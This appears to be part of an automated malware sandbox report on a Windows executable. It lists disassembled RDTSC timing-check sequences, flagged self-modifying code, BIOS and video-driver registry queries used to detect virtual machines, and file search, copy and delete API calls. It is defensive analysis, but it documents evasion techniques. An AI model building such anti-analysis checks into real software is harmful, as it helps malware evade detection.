Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C3BC second address: D2C3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C3C0 second address: D2C3C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C3C4 second address: D2C3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C3CE second address: D2C3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C3D2 second address: D2C3D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CA80 second address: D2CA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CA84 second address: D2CAAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F6398F5B4A5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jns 00007F6398F5B496h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CAAA second address: D2CAD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F6398F5ECA7h 0x0000000c jns 00007F6398F5EC98h 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33384 second address: D33389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33389 second address: D33399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6398F5EC9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D427F8 second address: D42813 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6398F5B496h 0x00000008 jmp 00007F6398F5B4A1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42813 second address: D4282B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6398F5ECA3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4282B second address: D42837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6398F5B496h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42837 second address: D42842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42842 second address: D42846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46A90 second address: D46A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46A98 second address: D46AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5B49Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CC57 second address: D4CC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6398F5EC96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CC66 second address: D4CC6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CC6A second address: D4CC6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D9B4 second address: D5D9D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F6398F5B4A1h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D9D1 second address: D5D9EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6398F5ECA9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D9EF second address: D5D9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D9F5 second address: D5D9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C3AB second address: D5C3B6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007F6398F5B496h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C521 second address: D5C52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C6AA second address: D5C6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C6AE second address: D5C6B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C6B2 second address: D5C6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F6398F5B49Ch 0x0000000e jl 00007F6398F5B496h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C98E second address: D5C998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6398F5EC96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C998 second address: D5C9BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F6398F5B49Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C9BB second address: D5C9C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CB24 second address: D5CB3F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6398F5B4A5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D700 second address: D5D704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6226E second address: D62282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5B49Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61DFE second address: D61E08 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61E08 second address: D61E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61F92 second address: D61F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6398F5EC96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61F9C second address: D61FCC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6398F5B4AAh 0x00000008 jmp 00007F6398F5B49Eh 0x0000000d jp 00007F6398F5B496h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jo 00007F6398F5B496h 0x00000020 jno 00007F6398F5B496h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69549 second address: D6955F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5ECA2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6955F second address: D6958F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6398F5B4A9h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F6398F5B49Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6958F second address: D69594 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EE86 second address: D6EE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5B4A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EE9D second address: D6EEA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EEA3 second address: D6EED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F6398F5B4A9h 0x0000000c jmp 00007F6398F5B4A3h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6398F5B49Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EED2 second address: D6EEE6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b ja 00007F6398F5ECA4h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80320 second address: D80326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D92D second address: D8D94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6398F5EC9Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D94B second address: D8D95C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B49Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D95C second address: D8D968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F6398F5EC96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D914BD second address: D914C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D914C6 second address: D914CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D914CA second address: D914E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F6398F5B4A2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D914E2 second address: D91513 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6398F5ECA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F6398F5ECA3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91513 second address: D9151E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F6398F5B496h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91ABF second address: D91AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91AC5 second address: D91ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91ACA second address: D91AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6398F5ECA8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91AE8 second address: D91AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91AEC second address: D91AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91AF9 second address: D91AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91AFF second address: D91B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B04 second address: D91B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6398F5B4A8h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B22 second address: D91B35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5EC9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B35 second address: D91B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92239 second address: D9223D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9223D second address: D92241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92241 second address: D92247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93CDB second address: D93CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93CE4 second address: D93CE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93CE8 second address: D93CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6398F5B496h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93CF4 second address: D93D1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6398F5ECA8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F6398F5EC9Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93D1E second address: D93D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F6398F5B496h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93D30 second address: D93D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93D34 second address: D93D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6398F5B4A6h 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F6398F5B4A1h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D965DC second address: D965E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6398F5EC96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96830 second address: D96879 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F6398F5B49Bh 0x00000010 push 00000004h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F6398F5B498h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c and dh, 0000004Fh 0x0000002f mov dx, bx 0x00000032 push A80917B8h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jng 00007F6398F5B496h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96879 second address: D9687F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96A16 second address: D96A3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jc 00007F6398F5B496h 0x0000000d push dword ptr [ebp+122D3196h] 0x00000013 mov dx, ax 0x00000016 call 00007F6398F5B499h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e js 00007F6398F5B496h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96A3E second address: D96A6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5ECA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F6398F5EC9Ch 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97F6C second address: D97F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99F04 second address: D99F3D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6398F5ECACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F6398F5ECA5h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99F3D second address: D99F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D703CE second address: 4D703D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D703D4 second address: 4D703F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F6398F5B4A6h 0x0000000f pop ebp 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70451 second address: 4D70460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5EC9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70460 second address: 4D704C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6398F5B4A1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F6398F5B49Eh 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F6398F5B49Ah 0x0000001e sub cx, 1AD8h 0x00000023 jmp 00007F6398F5B49Bh 0x00000028 popfd 0x00000029 popad 0x0000002a pop ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov dx, ax 0x00000031 popad 0x00000032 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B1192F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B119A7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CABD64 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CAA788 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CBE80E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D38567 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_008C38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008C4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_008BDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_008BE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_008BED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_008C4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_008C3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008BF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008B16D0
